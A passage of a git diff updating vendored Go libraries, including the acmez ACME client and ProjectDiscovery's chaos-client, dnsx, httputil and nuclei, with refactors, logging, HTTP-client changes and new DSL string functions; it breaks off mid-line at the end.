-This is not a command line utility either. The goal is to not add more external tooling to already-complex infrastructure: ACME and TLS should be built-in to servers rather than tacked on as an afterthought. +## Examples +See the [`examples` folder](https://github.com/mholt/acmez/tree/master/examples) for tutorials on how to use either package. **Most users should follow the [porcelain guide](https://github.com/mholt/acmez/blob/master/examples/porcelain/main.go).** -## Examples -See the `examples` folder for tutorials on how to use either package. +## Challenge solvers + +The `acmez` package is "bring-your-own-solver." It provides helper utilities for http-01, dns-01, and tls-alpn-01 challenges, but does not actually solve them for you. You must write or use an implementation of [`acmez.Solver`](https://pkg.go.dev/github.com/mholt/acmez#Solver) in order to get certificates. How this is done depends on your environment/situation. + +However, you can find [a general-purpose dns-01 solver in CertMagic](https://pkg.go.dev/github.com/caddyserver/certmagic#DNS01Solver), which uses [libdns](https://github.com/libdns) packages to integrate with numerous DNS providers. You can use it like this: + +```go +// minimal example using Cloudflare +solver := &certmagic.DNS01Solver{ + DNSProvider: &cloudflare.Provider{APIToken: "topsecret"}, +} +client := acmez.Client{ + ChallengeSolvers: map[string]acmez.Solver{ + acme.ChallengeTypeDNS01: solver, + }, + // ... +} +``` + +If you're implementing a tls-alpn-01 solver, the `acmez` package can help. It has the constant [`ACMETLS1Protocol`](https://pkg.go.dev/github.com/mholt/acmez#pkg-constants) which you can use to identify challenge handshakes by inspecting the ClientHello's ALPN extension. Simply complete the handshake using a certificate from the [`acmez.TLSALPN01ChallengeCert()`](https://pkg.go.dev/github.com/mholt/acmez#TLSALPN01ChallengeCert) function to solve the challenge. + ## History diff --git a/vendor/github.com/mholt/acmez/acme/order.go b/vendor/github.com/mholt/acmez/acme/order.go index 579bb3a47..245a39beb 100644 --- a/vendor/github.com/mholt/acmez/acme/order.go +++ b/vendor/github.com/mholt/acmez/acme/order.go @@ -114,6 +114,15 @@ func (c *Client) NewOrder(ctx context.Context, account Account, order Order) (Or return order, nil } +// GetOrder retrieves an order from the server. The Order's Location field must be populated. +func (c *Client) GetOrder(ctx context.Context, account Account, order Order) (Order, error) { + if err := c.provision(ctx); err != nil { + return order, err + } + _, err := c.httpPostJWS(ctx, account.PrivateKey, account.Location, order.Location, nil, &order) + return order, err +} + // FinalizeOrder finalizes the order with the server and polls under the server has // updated the order status. The CSR must be in ASN.1 DER-encoded format. If this // succeeds, the certificate is ready to download once this returns. diff --git a/vendor/github.com/mholt/acmez/client.go b/vendor/github.com/mholt/acmez/client.go index a156af23a..4a55fb031 100644 --- a/vendor/github.com/mholt/acmez/client.go +++ b/vendor/github.com/mholt/acmez/client.go @@ -21,9 +21,9 @@ // implementing solvers and using the certificates. It DOES NOT manage // certificates, it only gets them from the ACME server. // -// NOTE: This package's main function is to get a certificate, not manage it. -// Most users will want to *manage* certificates over the lifetime of a -// long-running program such as a HTTPS or TLS server, and should use CertMagic +// NOTE: This package's primary purpose is to get a certificate, not manage it. +// Most users actually want to *manage* certificates over the lifetime of +// long-running programs such as HTTPS or TLS servers, and should use CertMagic // instead: https://github.com/caddyserver/certmagic. package acmez @@ -60,9 +60,6 @@ type Client struct { // Map of solvers keyed by name of the challenge type. ChallengeSolvers map[string]Solver - - // An optional logger. Default: no logs - Logger *zap.Logger } // ObtainCertificateUsingCSR obtains all resulting certificate chains using the given CSR, which @@ -71,7 +68,7 @@ type Client struct { // x509.ParseCertificateRequest on the output). The Subject CommonName is NOT considered. // // It implements every single part of the ACME flow described in RFC 8555 §7.1 with the exception -// of "Create account" because this method signature does not have a way to return the udpated +// of "Create account" because this method signature does not have a way to return the updated // account object. The account's status MUST be "valid" in order to succeed. // // As far as SANs go, this method currently only supports DNSNames and IPAddresses on the csr. @@ -407,6 +404,11 @@ func (c *Client) presentForNextChallenge(ctx context.Context, authz *authzState) func (c *Client) initiateCurrentChallenge(ctx context.Context, authz *authzState) error { if authz.Status != acme.StatusPending { + if c.Logger != nil { + c.Logger.Debug("skipping challenge initiation because authorization is not pending", + zap.String("identifier", authz.IdentifierValue()), + zap.String("authz_status", authz.Status)) + } return nil } @@ -416,7 +418,17 @@ func (c *Client) initiateCurrentChallenge(ctx context.Context, authz *authzState // that's probably OK, since we can't finalize the order until the slow // challenges are done too) if waiter, ok := authz.currentSolver.(Waiter); ok { + if c.Logger != nil { + c.Logger.Debug("waiting for solver before continuing", + zap.String("identifier", authz.IdentifierValue()), + zap.String("challenge_type", authz.currentChallenge.Type)) + } err := waiter.Wait(ctx, authz.currentChallenge) + if c.Logger != nil { + c.Logger.Debug("done waiting for solver", + zap.String("identifier", authz.IdentifierValue()), + zap.String("challenge_type", authz.currentChallenge.Type)) + } if err != nil { return fmt.Errorf("waiting for solver %T to be ready: %w", authz.currentSolver, err) } @@ -499,7 +511,7 @@ func (c *Client) pollAuthorization(ctx context.Context, account acme.Account, au c.Logger.Error("cleaning up solver", zap.String("identifier", authz.IdentifierValue()), zap.String("challenge_type", authz.currentChallenge.Type), - zap.Error(err)) + zap.Error(cleanupErr)) } authz.currentSolver = nil // avoid cleaning it up again later } @@ -531,6 +543,13 @@ func (c *Client) pollAuthorization(ctx context.Context, account acme.Account, au } return fmt.Errorf("[%s] %w", authz.Authorization.IdentifierValue(), err) } + + if c.Logger != nil { + c.Logger.Info("authorization finalized", + zap.String("identifier", authz.IdentifierValue()), + zap.String("authz_status", authz.Status)) + } + return nil } diff --git a/vendor/github.com/projectdiscovery/blackrock/LICENSE.md b/vendor/github.com/projectdiscovery/blackrock/LICENSE.md new file mode 100644 index 000000000..11f3c3536 --- /dev/null +++ b/vendor/github.com/projectdiscovery/blackrock/LICENSE.md @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021 ProjectDiscovery + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/vendor/github.com/projectdiscovery/blackrock/README.md b/vendor/github.com/projectdiscovery/blackrock/README.md new file mode 100644 index 000000000..61fcaaa90 --- /dev/null +++ b/vendor/github.com/projectdiscovery/blackrock/README.md @@ -0,0 +1,2 @@ +# blackrock +blackrock cipher based on masscan diff --git a/vendor/github.com/projectdiscovery/chaos-client/pkg/chaos/chaos.go b/vendor/github.com/projectdiscovery/chaos-client/pkg/chaos/chaos.go index 134ad161f..7d7e80d8a 100644 --- a/vendor/github.com/projectdiscovery/chaos-client/pkg/chaos/chaos.go +++ b/vendor/github.com/projectdiscovery/chaos-client/pkg/chaos/chaos.go @@ -2,36 +2,28 @@ package chaos import ( "bufio" - "crypto/tls" "encoding/json" "fmt" "io" "io/ioutil" "net/http" - "time" + "strings" jsoniter "github.com/json-iterator/go" "github.com/pkg/errors" + pdhttputil "github.com/projectdiscovery/httputil" + "github.com/projectdiscovery/retryablehttp-go" ) // Client is a client for making requests to chaos API type Client struct { apiKey string - httpClient *http.Client + httpClient *retryablehttp.Client } // New creates a new client for chaos API communication func New(apiKey string) *Client { - httpclient := &http.Client{ - Transport: &http.Transport{ - MaxIdleConnsPerHost: 100, - MaxIdleConns: 100, - TLSClientConfig: &tls.Config{ - InsecureSkipVerify: true, - }, - }, - Timeout: time.Duration(600) * time.Second, // 10 minutes - uploads may take long - } + httpclient := retryablehttp.NewClient(retryablehttp.DefaultOptionsSingle) return &Client{httpClient: httpclient, apiKey: apiKey} } @@ -47,7 +39,7 @@ type GetStatisticsResponse struct { // GetStatistics returns the statistics for a given domain. func (c *Client) GetStatistics(req *GetStatisticsRequest) (*GetStatisticsResponse, error) { - request, err := http.NewRequest("GET", fmt.Sprintf("https://dns.projectdiscovery.io/dns/%s", req.Domain), nil) + request, err := retryablehttp.NewRequest(http.MethodGet, fmt.Sprintf("https://dns.projectdiscovery.io/dns/%s", req.Domain), nil) if err != nil { return nil, errors.Wrap(err, "could not create request.") } @@ -63,14 +55,17 @@ func (c *Client) GetStatistics(req *GetStatisticsRequest) (*GetStatisticsRespons if err != nil { return nil, errors.Wrap(err, "could not read response.") } - return nil, fmt.Errorf("Invalid status code received: %d - %s", resp.StatusCode, string(body)) + return nil, fmt.Errorf("invalid status code received: %d - %s", resp.StatusCode, string(body)) } + defer pdhttputil.DrainResponseBody(resp) + response := GetStatisticsResponse{} err = jsoniter.NewDecoder(resp.Body).Decode(&response) if err != nil { return nil, errors.Wrap(err, "could not unmarshal results.") } + return &response, nil } @@ -93,7 +88,7 @@ func (c *Client) GetSubdomains(req *SubdomainsRequest) chan *Result { go func(results chan *Result) { defer close(results) - request, err := http.NewRequest("GET", fmt.Sprintf("https://dns.projectdiscovery.io/dns/%s/subdomains", req.Domain), nil) + request, err := retryablehttp.NewRequest(http.MethodGet, fmt.Sprintf("https://dns.projectdiscovery.io/dns/%s/subdomains", req.Domain), nil) if err != nil { results <- &Result{Error: errors.Wrap(err, "could not create request.")} return @@ -112,7 +107,8 @@ func (c *Client) GetSubdomains(req *SubdomainsRequest) chan *Result { results <- &Result{Error: errors.Wrap(err, "could not read response.")} return } - results <- &Result{Error: fmt.Errorf("Invalid status code received: %d - %s", resp.StatusCode, string(body))} + pdhttputil.DrainResponseBody(resp) + results <- &Result{Error: fmt.Errorf("invalid status code received: %d - %s", resp.StatusCode, string(body))} return } @@ -120,25 +116,43 @@ func (c *Client) GetSubdomains(req *SubdomainsRequest) chan *Result { case "json": results <- &Result{Reader: &resp.Body} default: + defer pdhttputil.DrainResponseBody(resp) d := json.NewDecoder(resp.Body) - d.Token() - // first 4 token should be skipped - skip := 0 + if !checkToken(d, "{") { + return + } + if !checkToken(d, "domain") { + return + } + if !checkToken(d, req.Domain) { + return + } + if !checkToken(d, "subdomains") { + return + } + if !checkToken(d, "[") { + return + } + for d.More() { - token, _ := d.Token() - skip++ - if skip <= 4 { - continue + // process all the tokens within the list + token, err := d.Token() + if token == nil || err != nil { + break } results <- &Result{Subdomain: fmt.Sprintf("%s", token)} } - d.Token() } }(results) return results } +func checkToken(d *json.Decoder, value string) bool { + token, err := d.Token() + return strings.EqualFold(fmt.Sprint(token), value) && err == nil +} + type BBQData struct { Domain string `json:"domain"` Subdomain string `json:"subdomain"` @@ -167,7 +181,7 @@ func (c *Client) GetBBQSubdomains(req *SubdomainsRequest) chan *BBQResult { go func(results chan *BBQResult) { defer close(results) - request, err := http.NewRequest("GET", fmt.Sprintf("https://dns.projectdiscovery.io/dns/%s/public-recon-data", req.Domain), nil) + request, err := retryablehttp.NewRequest(http.MethodGet, fmt.Sprintf("https://dns.projectdiscovery.io/dns/%s/public-recon-data", req.Domain), nil) if err != nil { results <- &BBQResult{Error: errors.Wrap(err, "could not create request.")} return @@ -186,7 +200,8 @@ func (c *Client) GetBBQSubdomains(req *SubdomainsRequest) chan *BBQResult { results <- &BBQResult{Error: errors.Wrap(err, "could not read response.")} return } - results <- &BBQResult{Error: fmt.Errorf("Invalid status code received: %d - %s", resp.StatusCode, string(body))} + pdhttputil.DrainResponseBody(resp) + results <- &BBQResult{Error: fmt.Errorf("invalid status code received: %d - %s", resp.StatusCode, string(body))} return } @@ -194,8 +209,9 @@ func (c *Client) GetBBQSubdomains(req *SubdomainsRequest) chan *BBQResult { case "json": results <- &BBQResult{Reader: &resp.Body} default: + defer pdhttputil.DrainResponseBody(resp) scanner := bufio.NewScanner(resp.Body) - const maxCapacity = 1024*1024 + const maxCapacity = 1024 * 1024 buf := make([]byte, maxCapacity) scanner.Buffer(buf, maxCapacity) for scanner.Scan() { @@ -218,7 +234,7 @@ type PutSubdomainsResponse struct{} // PutSubdomains uploads the subdomains to Chaos API. func (c *Client) PutSubdomains(req *PutSubdomainsRequest) (*PutSubdomainsResponse, error) { - request, err := http.NewRequest("POST", "https://dns.projectdiscovery.io/dns/add", req.Contents) + request, err := retryablehttp.NewRequest(http.MethodPost, "https://dns.projectdiscovery.io/dns/add", req.Contents) if err != nil { return nil, errors.Wrap(err, "could not create request.") } @@ -235,8 +251,8 @@ func (c *Client) PutSubdomains(req *PutSubdomainsRequest) (*PutSubdomainsRespons if err != nil { return nil, errors.Wrap(err, "could not read response.") } - return nil, fmt.Errorf("Invalid status code received: %d - %s", resp.StatusCode, string(body)) + return nil, fmt.Errorf("invalid status code received: %d - %s", resp.StatusCode, string(body)) } - io.Copy(ioutil.Discard, resp.Body) + _, _ = io.Copy(ioutil.Discard, resp.Body) return &PutSubdomainsResponse{}, nil } diff --git a/vendor/github.com/projectdiscovery/dnsx/libs/dnsx/dnsx.go b/vendor/github.com/projectdiscovery/dnsx/libs/dnsx/dnsx.go index bed415d88..68d2c1163 100644 --- a/vendor/github.com/projectdiscovery/dnsx/libs/dnsx/dnsx.go +++ b/vendor/github.com/projectdiscovery/dnsx/libs/dnsx/dnsx.go @@ -51,6 +51,7 @@ func New(options Options) (*DNSX, error) { } dnsClient := retryabledns.NewWithOptions(retryablednsOptions) + dnsClient.TCPFallback = true return &DNSX{dnsClient: dnsClient, Options: &options}, nil } diff --git a/vendor/github.com/projectdiscovery/httputil/httputil.go b/vendor/github.com/projectdiscovery/httputil/httputil.go index 8b58eca20..1e6e6350a 100644 --- a/vendor/github.com/projectdiscovery/httputil/httputil.go +++ b/vendor/github.com/projectdiscovery/httputil/httputil.go @@ -2,6 +2,7 @@ package httputil import ( "fmt" + "io" "net/http" "net/http/httputil" ) @@ -45,3 +46,11 @@ func DumpResponseHeadersAndRaw(resp *http.Response) (headers, fullresp []byte, e fullresp, err = httputil.DumpResponse(resp, true) return } + +// DrainResponseBody drains and closes the response body +func DrainResponseBody(resp *http.Response) { + if resp.Body != http.NoBody && resp.Body != nil { + io.Copy(io.Discard, resp.Body) + resp.Body.Close() + } +} diff --git a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/catalogue.go b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/catalogue.go index 38a58d7cc..3d20752bd 100644 --- a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/catalogue.go +++ b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/catalogue.go @@ -1,12 +1,22 @@ package catalog -// Catalog is a template catalog helper implementation -type Catalog struct { - templatesDirectory string -} +import "io" -// New creates a new Catalog structure using provided input items -func New(directory string) *Catalog { - catalog := &Catalog{templatesDirectory: directory} - return catalog +// Catalog is a catalog storage implementations +type Catalog interface { + // OpenFile opens a file and returns an io.ReadCloser to the file. + // It is used to read template and payload files based on catalog responses. + OpenFile(filename string) (io.ReadCloser, error) + // GetTemplatePath parses the specified input template path and returns a compiled + // list of finished absolute paths to the templates evaluating any glob patterns + // or folders provided as in. + GetTemplatePath(target string) ([]string, error) + // GetTemplatesPath returns a list of absolute paths for the provided template list. + GetTemplatesPath(definitions []string) []string + // ResolvePath resolves the path to an absolute one in various ways. + // + // It checks if the filename is an absolute path, looks in the current directory + // or checking the nuclei templates directory. If a second path is given, + // it also tries to find paths relative to that second path. + ResolvePath(templateName, second string) (string, error) } diff --git a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/config/config.go b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/config/config.go index 28d9e3456..4b9cfbb29 100644 --- a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/config/config.go +++ b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/config/config.go @@ -28,7 +28,7 @@ type Config struct { const nucleiConfigFilename = ".templates-config.json" // Version is the current version of nuclei -const Version = `2.7.5` +const Version = `2.7.6` func getConfigDetails() (string, error) { configDir, err := GetConfigDir() diff --git a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/disk/catalog.go b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/disk/catalog.go new file mode 100644 index 000000000..4fd53c963 --- /dev/null +++ b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/disk/catalog.go @@ -0,0 +1,25 @@ +package disk + +import ( + "io" + "os" +) + +// DiskCatalog is a template catalog helper implementation based on disk +type DiskCatalog struct { + templatesDirectory string +} + +// NewCatalog creates a new Catalog structure using provided input items +// using disk based items +func NewCatalog(directory string) *DiskCatalog { + catalog := &DiskCatalog{templatesDirectory: directory} + return catalog +} + +// OpenFile opens a file and returns an io.ReadCloser to the file. +// It is used to read template and payload files based on catalog responses. +func (d *DiskCatalog) OpenFile(filename string) (io.ReadCloser, error) { + file, err := os.Open(filename) + return file, err +} diff --git a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/find.go b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/disk/find.go similarity index 87% rename from vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/find.go rename to vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/disk/find.go index fc3fc2255..c1f9727b1 100644 --- a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/find.go +++ b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/disk/find.go @@ -1,4 +1,4 @@ -package catalog +package disk import ( "io/fs" @@ -7,12 +7,11 @@ import ( "strings" "github.com/pkg/errors" - "github.com/projectdiscovery/gologger" ) // GetTemplatesPath returns a list of absolute paths for the provided template list. -func (c *Catalog) GetTemplatesPath(definitions []string) []string { +func (c *DiskCatalog) GetTemplatesPath(definitions []string) []string { // keeps track of processed dirs and files processed := make(map[string]bool) allTemplates := []string{} @@ -42,7 +41,7 @@ func (c *Catalog) GetTemplatesPath(definitions []string) []string { // GetTemplatePath parses the specified input template path and returns a compiled // list of finished absolute paths to the templates evaluating any glob patterns // or folders provided as in. -func (c *Catalog) GetTemplatePath(target string) ([]string, error) { +func (c *DiskCatalog) GetTemplatePath(target string) ([]string, error) { processed := make(map[string]struct{}) absPath, err := c.convertPathToAbsolute(target) @@ -88,7 +87,7 @@ func (c *Catalog) GetTemplatePath(target string) ([]string, error) { // convertPathToAbsolute resolves the paths provided to absolute paths // before doing any operations on them regardless of them being BLOB, folders, files, etc. -func (c *Catalog) convertPathToAbsolute(t string) (string, error) { +func (c *DiskCatalog) convertPathToAbsolute(t string) (string, error) { if strings.Contains(t, "*") { file := filepath.Base(t) absPath, err := c.ResolvePath(filepath.Dir(t), "") @@ -101,7 +100,7 @@ func (c *Catalog) convertPathToAbsolute(t string) (string, error) { } // findGlobPathMatches returns the matched files from a glob path -func (c *Catalog) findGlobPathMatches(absPath string, processed map[string]struct{}) ([]string, error) { +func (c *DiskCatalog) findGlobPathMatches(absPath string, processed map[string]struct{}) ([]string, error) { matches, err := filepath.Glob(absPath) if err != nil { return nil, errors.Errorf("wildcard found, but unable to glob: %s\n", err) @@ -118,7 +117,7 @@ func (c *Catalog) findGlobPathMatches(absPath string, processed map[string]struc // findFileMatches finds if a path is an absolute file. If the path // is a file, it returns true otherwise false with no errors. -func (c *Catalog) findFileMatches(absPath string, processed map[string]struct{}) (match string, matched bool, err error) { +func (c *DiskCatalog) findFileMatches(absPath string, processed map[string]struct{}) (match string, matched bool, err error) { info, err := os.Stat(absPath) if err != nil { return "", false, err @@ -134,7 +133,7 @@ func (c *Catalog) findFileMatches(absPath string, processed map[string]struct{}) } // findDirectoryMatches finds matches for templates from a directory -func (c *Catalog) findDirectoryMatches(absPath string, processed map[string]struct{}) ([]string, error) { +func (c *DiskCatalog) findDirectoryMatches(absPath string, processed map[string]struct{}) ([]string, error) { var results []string err := filepath.WalkDir( absPath, diff --git a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/path.go b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/disk/path.go similarity index 91% rename from vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/path.go rename to vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/disk/path.go index fc6f8189b..15a2eab31 100644 --- a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/path.go +++ b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/disk/path.go @@ -1,4 +1,4 @@ -package catalog +package disk import ( "fmt" @@ -15,7 +15,7 @@ import ( // It checks if the filename is an absolute path, looks in the current directory // or checking the nuclei templates directory. If a second path is given, // it also tries to find paths relative to that second path. -func (c *Catalog) ResolvePath(templateName, second string) (string, error) { +func (c *DiskCatalog) ResolvePath(templateName, second string) (string, error) { if filepath.IsAbs(templateName) { return templateName, nil } @@ -48,7 +48,7 @@ func (c *Catalog) ResolvePath(templateName, second string) (string, error) { var errNoValidCombination = errors.New("no valid combination found") // tryResolve attempts to load locate the target by iterating across all the folders tree -func (c *Catalog) tryResolve(fullPath string) (string, error) { +func (c *DiskCatalog) tryResolve(fullPath string) (string, error) { dir, filename := filepath.Split(fullPath) pathInfo, err := folderutil.NewPathInfo(dir) if err != nil { diff --git a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader/filter/path_filter.go b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader/filter/path_filter.go index ba65bf717..1fb168c1d 100644 --- a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader/filter/path_filter.go +++ b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader/filter/path_filter.go @@ -15,7 +15,7 @@ type PathFilterConfig struct { } // NewPathFilter creates a new path filter from provided config -func NewPathFilter(config *PathFilterConfig, catalogClient *catalog.Catalog) *PathFilter { +func NewPathFilter(config *PathFilterConfig, catalogClient catalog.Catalog) *PathFilter { filter := &PathFilter{ excludedTemplates: catalogClient.GetTemplatesPath(config.ExcludedTemplates), alwaysIncludedTemplatesMap: make(map[string]struct{}), diff --git a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader/loader.go b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader/loader.go index 18e7b3335..a1679cbd1 100644 --- a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader/loader.go +++ b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader/loader.go @@ -39,7 +39,7 @@ type Config struct { IncludeIds []string ExcludeIds []string - Catalog *catalog.Catalog + Catalog catalog.Catalog ExecutorOptions protocols.ExecuterOptions TemplatesDirectory string } @@ -59,7 +59,7 @@ type Store struct { } // NewConfig returns a new loader config -func NewConfig(options *types.Options, templateConfig *config.Config, catalog *catalog.Catalog, executerOpts protocols.ExecuterOptions) *Config { +func NewConfig(options *types.Options, templateConfig *config.Config, catalog catalog.Catalog, executerOpts protocols.ExecuterOptions) *Config { loaderConfig := Config{ Templates: options.Templates, Workflows: options.Workflows, @@ -180,13 +180,13 @@ func (store *Store) ValidateTemplates() error { func areWorkflowsValid(store *Store, filteredWorkflowPaths map[string]struct{}) bool { return areWorkflowOrTemplatesValid(store, filteredWorkflowPaths, true, func(templatePath string, tagFilter *filter.TagFilter) (bool, error) { - return parsers.LoadWorkflow(templatePath) + return parsers.LoadWorkflow(templatePath, store.config.Catalog) }) } func areTemplatesValid(store *Store, filteredTemplatePaths map[string]struct{}) bool { return areWorkflowOrTemplatesValid(store, filteredTemplatePaths, false, func(templatePath string, tagFilter *filter.TagFilter) (bool, error) { - return parsers.LoadTemplate(templatePath, store.tagFilter, nil) + return parsers.LoadTemplate(templatePath, store.tagFilter, nil, store.config.Catalog) }) } @@ -260,7 +260,7 @@ func (store *Store) LoadTemplates(templatesList []string) []*templates.Template loadedTemplates := make([]*templates.Template, 0, len(templatePathMap)) for templatePath := range templatePathMap { - loaded, err := parsers.LoadTemplate(templatePath, store.tagFilter, nil) + loaded, err := parsers.LoadTemplate(templatePath, store.tagFilter, nil, store.config.Catalog) if loaded || store.pathFilter.MatchIncluded(templatePath) { parsed, err := templates.Parse(templatePath, store.preprocessor, store.config.ExecutorOptions) if err != nil { @@ -283,7 +283,7 @@ func (store *Store) LoadWorkflows(workflowsList []string) []*templates.Template loadedWorkflows := make([]*templates.Template, 0, len(workflowPathMap)) for workflowPath := range workflowPathMap { - loaded, err := parsers.LoadWorkflow(workflowPath) + loaded, err := parsers.LoadWorkflow(workflowPath, store.config.Catalog) if err != nil { gologger.Warning().Msgf("Could not load workflow %s: %s\n", workflowPath, err) } @@ -307,7 +307,7 @@ func (store *Store) LoadTemplatesWithTags(templatesList, tags []string) []*templ loadedTemplates := make([]*templates.Template, 0, len(templatePathMap)) for templatePath := range templatePathMap { - loaded, err := parsers.LoadTemplate(templatePath, store.tagFilter, tags) + loaded, err := parsers.LoadTemplate(templatePath, store.tagFilter, tags, store.config.Catalog) if loaded || store.pathFilter.MatchIncluded(templatePath) { parsed, err := templates.Parse(templatePath, store.preprocessor, store.config.ExecutorOptions) if err != nil { diff --git a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/operators/common/dsl/dsl.go b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/operators/common/dsl/dsl.go index 79877e58d..1df0763fa 100644 --- a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/operators/common/dsl/dsl.go +++ b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/operators/common/dsl/dsl.go @@ -246,6 +246,64 @@ func init() { "contains": makeDslFunction(2, func(args ...interface{}) (interface{}, error) { return strings.Contains(types.ToString(args[0]), types.ToString(args[1])), nil }), + "starts_with": makeDslWithOptionalArgsFunction( + "(str string, prefix ...string) bool", + func(args ...interface{}) (interface{}, error) { + if len(args) < 2 { + return nil, invalidDslFunctionError + } + for _, prefix := range args[1:] { + if strings.HasPrefix(types.ToString(args[0]), types.ToString(prefix)) { + return true, nil + } + } + return false, nil + }, + ), + "line_starts_with": makeDslWithOptionalArgsFunction( + "(str string, prefix ...string) bool", func(args ...interface{}) (interface{}, error) { + if len(args) < 2 { + return nil, invalidDslFunctionError + } + for _, line := range strings.Split(types.ToString(args[0]), "\n") { + for _, prefix := range args[1:] { + if strings.HasPrefix(line, types.ToString(prefix)) { + return true, nil + } + } + } + return false, nil + }, + ), + "ends_with": makeDslWithOptionalArgsFunction( + "(str string, suffix ...string) bool", + func(args ...interface{}) (interface{}, error) { + if len(args) < 2 { + return nil, invalidDslFunctionError + } + for _, suffix := range args[1:] { + if strings.HasSuffix(types.ToString(args[0]), types.ToString(suffix)) { + return true, nil + } + } + return false, nil + }, + ), + "line_ends_with": makeDslWithOptionalArgsFunction( + "(str string, suffix ...string) bool", func(args ...interface{}) (interface{}, error) { + if len(args) < 2 { + return nil, invalidDslFunctionError + } + for _, line := range strings.Split(types.ToString(args[0]), "\n") { + for _, suffix := range args[1:] { + if strings.HasSuffix(line, types.ToString(suffix)) { + return true, nil + } + } + } + return false, nil + }, + ), "concat": makeDslWithOptionalArgsFunction( "(args ...interface{}) string", func(arguments ...interface{}) (interface{}, error) { diff --git a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/parsers/parser.go b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/parsers/parser.go index 912064ab2..b8e847e8f 100644 --- a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/parsers/parser.go +++ b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/parsers/parser.go @@ -7,6 +7,7 @@ import ( "gopkg.in/yaml.v2" + "github.com/projectdiscovery/nuclei/v2/pkg/catalog" "github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader/filter" "github.com/projectdiscovery/nuclei/v2/pkg/model" "github.com/projectdiscovery/nuclei/v2/pkg/templates" @@ -22,8 +23,8 @@ const ( ) // LoadTemplate returns true if the template is valid and matches the filtering criteria. -func LoadTemplate(templatePath string, tagFilter *filter.TagFilter, extraTags []string) (bool, error) { - template, templateParseError := ParseTemplate(templatePath) +func LoadTemplate(templatePath string, tagFilter *filter.TagFilter, extraTags []string, catalog catalog.Catalog) (bool, error) { + template, templateParseError := ParseTemplate(templatePath, catalog) if templateParseError != nil { return false, templateParseError } @@ -43,8 +44,8 @@ func LoadTemplate(templatePath string, tagFilter *filter.TagFilter, extraTags [] } // LoadWorkflow returns true if the workflow is valid and matches the filtering criteria. -func LoadWorkflow(templatePath string) (bool, error) { - template, templateParseError := ParseTemplate(templatePath) +func LoadWorkflow(templatePath string, catalog catalog.Catalog) (bool, error) { + template, templateParseError := ParseTemplate(templatePath, catalog) if templateParseError != nil { return false, templateParseError } @@ -122,11 +123,11 @@ func init() { } // ParseTemplate parses a template and returns a *templates.Template structure -func ParseTemplate(templatePath string) (*templates.Template, error) { +func ParseTemplate(templatePath string, catalog catalog.Catalog) (*templates.Template, error) { if value, err := parsedTemplatesCache.Has(templatePath); value != nil { return value.(*templates.Template), err } - data, err := utils.ReadFromPathOrURL(templatePath) + data, err := utils.ReadFromPathOrURL(templatePath, catalog) if err != nil { return nil, err } diff --git a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/parsers/workflow_loader.go b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/parsers/workflow_loader.go index 4b73f5559..70669e9ba 100644 --- a/vendor/github.com/projectdiscovery/nuclei/v2/pkg/parsers/workflow_loader.go +++ b/vendor/github.com/projectdiscovery/nuclei/v2/pkg/parsers/workflow_loader.go @@ -37,7 +37,7 @@ func (w *workflowLoader) GetTemplatePathsByTags(templateTags []string) []string loadedTemplates := make([]string, 0, len(templatePathMap)) for 